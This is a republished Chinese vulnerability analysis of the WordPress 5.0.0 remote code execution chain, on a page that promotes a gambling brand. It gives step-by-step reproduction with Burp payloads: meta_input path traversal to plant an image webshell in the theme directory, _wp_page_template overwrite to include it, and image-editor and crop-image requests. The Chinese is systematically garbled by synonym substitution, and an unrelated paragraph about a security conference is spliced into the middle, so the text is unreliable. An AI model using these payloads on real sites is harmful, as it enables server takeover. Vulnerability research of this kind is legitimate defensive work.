WordPress 5.0.0 RCE 破绽剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

WordPress 5.0.0 RCE 破绽剖析

申博_新闻事件 申博 57次浏览 未收录 0个评论

环境搭建

操纵体系:win10
PHP 5.6.28
WP 4.9.4

注重:WP有自动更新会自动修补破绽,须要在wp-config.php中增添define(‘AUTOMATIC_UPDATER_DISABLED’,true);

破绽应用历程当中的一种代码实行流程(末了会有差别体系的应用历程)

因为这个破绽的特殊性,差别的体系的应用链和细节不一样,然则破绽自身的道理是一致的。一种应用流程为:

1.进入治理背景,媒体文件页面,上传图片马,在更新图片信息处运用burp增添post参数_wp_attached_file并写入目次穿越的途径到数据库

2.编辑图片马,在编辑图片处恣意编辑后,挪用save函数时会读取上一步组织的途径,写入图片到目次穿越的恣意文件夹(此处的症结函数为mkdir,有许多细节在后文中会提到)

—前面两步做到了将图片马上传至恣意目次—

3.上传一个恣意花样的辅佐文件(txt等都行),在更新文件信息处增添post参数_wp_page_template并写入模板信息到数据库(将模板信息写为图片马的地点)

4.接见辅佐文件的对应链接,则实行了图片马(模板会被加载,疏忽图片马后缀)

复现

起首,上传图片:

WordPress 5.0.0 RCE 破绽剖析WordPress 5.0.0 RCE 破绽剖析

在编辑图片信息处点击更新:

WordPress 5.0.0 RCE 破绽剖析WordPress 5.0.0 RCE 破绽剖析

运用burp截包,到场payload:

&meta_input[_wp_attached_file]=2019/07/1.jpg#/../../../../themes/twentyseventeen/1.jpg

WordPress 5.0.0 RCE 破绽剖析

WordPress 5.0.0 RCE 破绽剖析· 注重:主题的目次要依据如今运用的主题来定,主题的根目次即为该目次,如我在复现时根目次为:twentyseventeen

能够看到数据库胜利写入将要目次穿越的途径:

WordPress 5.0.0 RCE 破绽剖析WordPress 5.0.0 RCE 破绽剖析

然后对方才的图片恣意编辑并点击保留:

WordPress 5.0.0 RCE 破绽剖析WordPress 5.0.0 RCE 破绽剖析

能够看到,图片马胜利转移到主题目次下:

WordPress 5.0.0 RCE 破绽剖析WordPress 5.0.0 RCE 破绽剖析

因为此处的图片经由gd或imagick库处置惩罚,在实在应用时须要制作出能反抗处置惩罚的图片马,我在此处复现时跳过这步,直接硬写入phpinfo:

WordPress 5.0.0 RCE 破绽剖析WordPress 5.0.0 RCE 破绽剖析

到此时,已将图片马胜利移动到主题目次,就等着被包括了。

—分割线—

模板包括时,起首上传一个辅佐文件:

WordPress 5.0.0 RCE 破绽剖析WordPress 5.0.0 RCE 破绽剖析

点击更新:

WordPress 5.0.0 RCE 破绽剖析WordPress 5.0.0 RCE 破绽剖析

运用burp截包修正payload:

&meta_input[_wp_page_template]=1-e1562921273409.jpg

WordPress 5.0.0 RCE 破绽剖析WordPress 5.0.0 RCE 破绽剖析

接见test文件所对应的网页,胜利实行代码:

WordPress 5.0.0 RCE 破绽剖析WordPress 5.0.0 RCE 破绽剖析

破绽道理以及修复手腕剖析

途径变量掩盖破绽

在编辑并更新图片的时刻会挪用edit_post()函数,wp-admin/includes/post.php:

function edit_post( $post_data = null ) {	global $wpdb;	if ( empty($post_data) )
		$post_data = &$_POST;
...
$success = wp_update_post( $post_data );

跟进 wp_update_post->if ($postarr['post_type'] == 'attachment')		return wp_insert_attachment($postarr);

跟进 wp_insert_attachment->return wp_insert_post( $data, $wp_error );

跟进 wp_insert_post ->	if ( ! empty( $postarr['meta_input'] ) ) {		foreach ( $postarr['meta_input'] as $field => $value ) {
			update_post_meta( $post_ID, $field, $value );
		}
    }//终究到了症结点,能够看到对每一个meta_input都更新进数据库,如许一来,攻击者就能够掩盖数据库中的变量了。

因为WordPress默许的上传途径为wp-content/uploads/years/month,此时,能够应用目次遍历将其掩盖为&meta_input[_wp_attached_file]=2019/07/1.jpg#/../../../../themes/twentyseventeen/1.jpg

文件恣意途径写入

在编辑图片并保留时,会挪用 /wp-admin/admin-ajax.php ,跟进时,能够发明函数进入了wp_save_image,此时会从数据库中掏出被歹意变动的途径:

...
$path = get_attached_file( $post_id ); //查询数据库猎取途径,而此时读取到的途径已是掩盖过的了
...
parent::make_image //挪用保留图片的函数

在挪用建立图片时,起首挪用wp_mkdir_p( dirname( $filename ) ), 全部函数会建立目次;个中,包括建立目次的操纵 @mkdir( $target, $dir_perms, true );然则在windows下,建立文件的操纵会失利。

然后会运用call_user_func_array挪用gd或许imagick保留图片文件(在windows下虽然前一步建立失利,然则不存在的目次也能剖析,所以能够直接保留图片)
此时,就胜利把图片马写入了模板文件夹。

组织?或#的意义,WP的图片猎取机制

2019第七届ISC网络安全大会|来自现场的三件小事

2019年8月19日星期一,ISC大会终于在雁栖湖酒店开幕,在这片距离市区40多公里的京郊绿岛,连续举办7年的ISC大会再次与各界朋友见面。 自从2013年第一届ISC创办以来,每年国内外网络安全从业人员都乐意到ISC来凑凑热闹。 第一件小事:向程序员致敬 时钟拨回大会开幕前一晚,在雁栖湖国家会议中心的广场前,360SRC举办了“靠谱黑客”音乐节,黑客与摇滚乐上演了一出近距离接触。 露天会场内,现场气氛被黑薄荷乐队的一首《1862》推到了最高潮。 国内黑客多数担任着网络安全研究员的角色,更通俗点讲是目前压力最大的程序员一族。网络安全会议与摇滚、电音这类现场音乐的碰撞是一个好现象,

在编辑页面等处所猎取图片时,假如此时运用一般的途径./themes/twentyseventeen/1.jpg,WP会不能猎取到图片从而不能举行图片编辑和保留的操纵。
在猎取图片时,WP起首从数据库中猎取途径信息, 因为有的插件依据接见的URL动态天生图片,WP中的图片猎取逻辑为:

1.在当地文件夹中查找。

2.当地未找到(推断为动态图片),运用http协定猎取。

症结函数为:

/**
 * Retrieve the path or url of an attachment's attached file.
 *
 * If the attached file is not present on the local filesystem (usually due to replication plugins),
 * then the url of the file is returned if url fopen is supported.
**/_load_image_to_edit_path

· 所以,此处组织的payload意义在WP起首运用fopen接见2019/07/1.jpg#/../../../../themes/twentyseventeen/1.jpg,明显,fopen不能接见该地点;然后再运用http接见http://xxxx….2019/07/1.jpg#/../../../../themes/twentyseventeen/1.jpg,#后的内容被当作锚点处置惩罚,胜利接见到图片;从而能够顺利举行图片的编辑操纵。

· 在WordPress胜利接见到图片后,就会触发保留操纵,如许就绕过了图片存在性磨练,达到了向恣意途径写图片的操纵。

模板变量掩盖

在数据库中很轻易注重到一条数据:

_wp_page_template 	default

该变量运用数据库变量掩盖的要领能够类似地举行掩盖,将其掩盖为图片马的称号。然则要注重以下代码(/wp-includes/post.php),能够看到,假如page_template已被设置为非default,并攻击者试图继承掩盖时,操纵不能胜利,也就是说,每一个媒体文件只能被设置一次模板文件,所以能够运用辅佐上传新文件的体式格局来写入模板位置:

if ( ! empty( $postarr['page_template'] ) ) {
		$post->page_template = $postarr['page_template'];
		$page_templates = wp_get_theme()->get_page_templates( $post );		if ( 'default' != $postarr['page_template'] && ! isset( $page_templates[ $postarr['page_template'] ] ) ) {			if ( $wp_error ) {				return new WP_Error( 'invalid_page_template', __( 'Invalid page template.' ) );
			}
			update_post_meta( $post_ID, '_wp_page_template', 'default' );
		} else {
			update_post_meta( $post_ID, '_wp_page_template', $postarr['page_template'] );
		}
	}

模板文件包括

全局搜刮发明了_wp_page_template的引入位置(wp-includes/post-template.php):

function get_page_template_slug( $post = null ) {
	$post = get_post( $post );	if ( ! $post ) {		return false;
	}

	$template = get_post_meta( $post->ID, '_wp_page_template', true );	if ( ! $template || 'default' == $template ) {		return '';
	}	return $template;
}

打断点接见一下上传的辅佐文件对应的网页,检察一下挪用栈,能够看到顺序起首经由过程index主页路由至test,然后经由一系列模板挪用操纵,终究加载到了数据库中保留的模板文件:

post-template.php:1683, get_page_template_slug()
template.php:487, get_single_template()
template-loader.php:55, require_once()
wp-blog-header.php:19, require()
index.php:17, {main}()

末了包括了模板文件:

 apply_filters( 'template_include', $template )

官方补丁

1.起首,补丁限定了参数,不允许传入’meta_input’, ‘file’, ‘guid’;如许一来,攻击者就没有方法掩盖Post Meta变量了,从而在变动途径和变动模板上都不能应用了。

2.然后,post_ID也不直接从POST要求猎取,而是读取变量取得:$post_data[‘post_ID’] = $post_ID;,如许,攻击者就不能掌握post_id了。

应用思绪比较

因为此破绽触及到mkdir这个症结的函数,对差别操纵体系,其表现差别;所以网上宣布的种种剖析文章发生了多种应用要领。 mkdir各环境特征提要以下:

· Linux平台上mkdir不支撑不存在的目次跳转。(即会检测每一层有效性)

· Windows平台上mkdir支撑不存在的目次跳转,而且只会建立末了一步的文件夹(即先化简途径,化简后再建立文件夹,不存在的途径不会建立)

· Windows下*与?不能出如今途径中

经由总结,大概有以下几种:

Windows下:

1.直接挪用crop-image(此时输出的图片为cropped_xxx.jpg)

2.windows下直接应用背景治理页面上供应的image-editor的恣意一项修正(裁剪、扭转、对称都可),能够疏忽不存在的目次直接建立在目的目次下(我运用win10、PHP 5.6.28、wp4.9.4环境下胜利应用)(此时输出xxx-e1562915044612.jpg)

Linux下:

1.直接挪用crop-image

2.起首应用image-editor建立文件夹(一次只能建立一层文件夹),再次挪用image-editor建立图片马;建立文件夹时的payload:&meta_input[_wp_attached_file]=2019/07/1.jpg#/test.jpg,此时在07建立了1.jpg#文件夹(在Windows下也能胜利):

WordPress 5.0.0 RCE 破绽剖析WordPress 5.0.0 RCE 破绽剖析

运用crop-img的payload为:

action=image-editor&_ajax_nonce=d6b0263153&postid=4&history=%5B%7B%22c%22%3A%7B%22x%22%3A86%2C%22y%22%3A61%2C%22w%22%3A227%2C%22h%22%3A110%7D%7D%5D&target=all&context=edit-attachment&do=save

->

action=crop-image&_ajax_nonce=d6b0263153&id=4&cropDetails[x1]=10&cropDetails[y1]=10&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=100&cropDetails[dst_height]=100

碰到的坑

自动更新

wp会自动更新小版本,须要在wp-config.php增添define(‘AUTOMATIC_UPDATER_DISABLED’,true);

mkdir

windows环境下,文件夹中不能涌现?号,此时,运用php内置函数mkdir就没法实行胜利;网上的payload不能直接用;须要将?改成#。

id参数名变动

运用crop-image时,postid改成id。

template掩盖

· 假如设置了这个值,但这个文件不存在,则会被定义为default。

· 假如该值被设置,则没方法经由过程这类体式格局修正。

· 所以要写模板的途径必需新上传一个媒体文件

写在末了

全部应用链触及到的模块许多,也触及到了差别操纵体系的某些特征。破绽的逻辑较为庞杂,本身花了比较长的时候,也学到许多东西。

· 就这个破绽而言,WP直接留下的媒体文件信息更新接口在前端上并没有直接的回响反映,不晓得更新文件途径、裁剪图片和文件模板的接口直接暴露在外是如何的主意。也许是功用未完成的遗留,也许是设计要完成的功用,为何涌现这些函数也不得而知。须要对WP全部实行流程以至源码开辟自身有比较深切的明白才晓得个中发生的缘由。

· 就差别操纵体系而言,mkdir函数的变现直接影响到了应用历程,在差别体系、差别php版本下都有许多不一样的细节。在天融信阿尔法实验室的文章中有较为细致的底层探讨学问,本身在这块还比较柔弱,须要进一步进修。

原文地点: https://www.4hou.com/vulnerable/19275.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明WordPress 5.0.0 RCE 破绽剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址